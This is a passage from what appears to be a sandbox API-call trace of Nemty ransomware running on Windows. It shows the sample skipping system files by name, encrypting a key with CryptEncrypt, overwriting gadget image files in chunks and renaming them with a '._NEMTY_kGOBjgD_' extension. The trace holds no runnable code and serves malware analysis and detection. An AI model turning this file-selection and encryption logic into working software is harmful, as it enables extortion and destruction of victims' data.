nFileSizeHigh=0x0, nFileSizeLow=0xb93, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="combo-hover-left.png", cAlternateFileName="")) returned 1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2=".") returned 1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="..") returned 1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="...") returned 1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="windows") returned -1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="$RECYCLE.BIN") returned 1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="rsa") returned -1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="NTDETECT.COM") returned -1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="ntldr") returned -1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="MSDOS.SYS") returned -1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="IO.SYS") returned -1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="boot.ini") returned 1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="boot.ini") returned 1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="AUTOEXEC.BAT") returned 1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="ntuser.dat") returned -1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="desktop.ini") returned -1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="CONFIG.SYS") returned -1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="RECYCLER") returned -1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="BOOTSECT.BAK") returned 1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="bootmgr") returned 1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="programdata") returned -1 [0128.073] lstrcmpiW (lpString1="combo-hover-left.png", lpString2="appdata") returned 1 [0128.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0128.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-left.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0128.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-left.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="combo-hover-left.png", lpUsedDefaultChar=0x0) returned 20 [0128.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0128.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-left.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0128.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-left.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="combo-hover-left.png", lpUsedDefaultChar=0x0) returned 20 [0128.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0128.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0128.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0128.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-left.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0128.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-left.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="combo-hover-left.png", lpUsedDefaultChar=0x0) returned 20 [0128.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0128.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0128.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-left.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0128.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0128.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-left.png", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="combo-hover-left.png", lpUsedDefaultChar=0x0) returned 20 [0128.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0128.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401c8 [0128.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0128.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0128.074] Sleep (dwMilliseconds=0x5) [0128.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfffe7ed0, dwHighDateTime=0x1d561e7)) [0128.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfffe7ed0, dwHighDateTime=0x1d561e7)) [0128.089] GetLastError () returned 0x5 [0128.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0128.089] GetLastError () returned 0x5 [0128.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0128.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0128.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0128.090] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0128.090] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0128.090] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0128.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0128.090] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e91c | out: pszString="5pdqstRk0e2S6GoLVln2riOFXLMMwwuPHmImamD3QwbpIh3IP4SsOVeqaXObp6+u\r\nsRLvFzkNCjwwWagfKaiUz7Aq4ovw7/JYgtF0sHUsDBAzZ5d1SLohXFTDvBEK6iZ7\r\njg589GR3d0kDDHlLIof4NnNAkwiQEa6kuBaiqamHUnjD8IWERi5IgBA61Za2MVr6\r\nbZCPBm5Vhm3WEGczkbH1w7zopQ2TYEzAxs5JozXjhz5JAruqt0+jSIQJ39weVd0d\r\n3R5nKtcCK2JK3IpRa1H2IVXWoeoqinw4g8jxayhFc8dWVy+m3x9MlwRf5PMUNgvG\r\nl+dzL1ec0VyN5s6DFGEtgQ==\r\n", pcchString=0x653e91c) returned 1 [0128.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0128.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0128.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0128.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0128.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0128.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0128.090] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.090] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0128.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0128.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.090] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.100] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.100] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.109] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.109] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.129] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.138] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.147] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.148] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.157] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.157] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.157] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.157] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.166] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.166] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.176] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.176] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.186] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.192] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.192] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0128.198] CloseHandle (hObject=0xffffffff) returned 0 [0128.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0128.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0128.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0128.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0128.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0128.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0128.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0128.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0128.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0128.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0128.198] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-left.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-left.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-left.png._nemty_kgobjgd_")) returned 0 [0128.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0128.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0128.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0128.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0128.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0128.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0128.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0128.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0128.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0128.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.211] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863be934, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863be934, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a0dbb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb45, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="combo-hover-middle.png", cAlternateFileName="")) returned 1 [0128.211] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2=".") returned 1 [0128.211] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="..") returned 1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="...") returned 1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="windows") returned -1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="$RECYCLE.BIN") returned 1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="rsa") returned -1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="NTDETECT.COM") returned -1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="ntldr") returned -1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="MSDOS.SYS") returned -1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="IO.SYS") returned -1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="boot.ini") returned 1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="boot.ini") returned 1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="AUTOEXEC.BAT") returned 1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="ntuser.dat") returned -1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="desktop.ini") returned -1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="CONFIG.SYS") returned -1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="RECYCLER") returned -1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="BOOTSECT.BAK") returned 1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="bootmgr") returned 1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="programdata") returned -1 [0128.212] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2="appdata") returned 1 [0128.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0128.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-middle.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0128.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-middle.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, 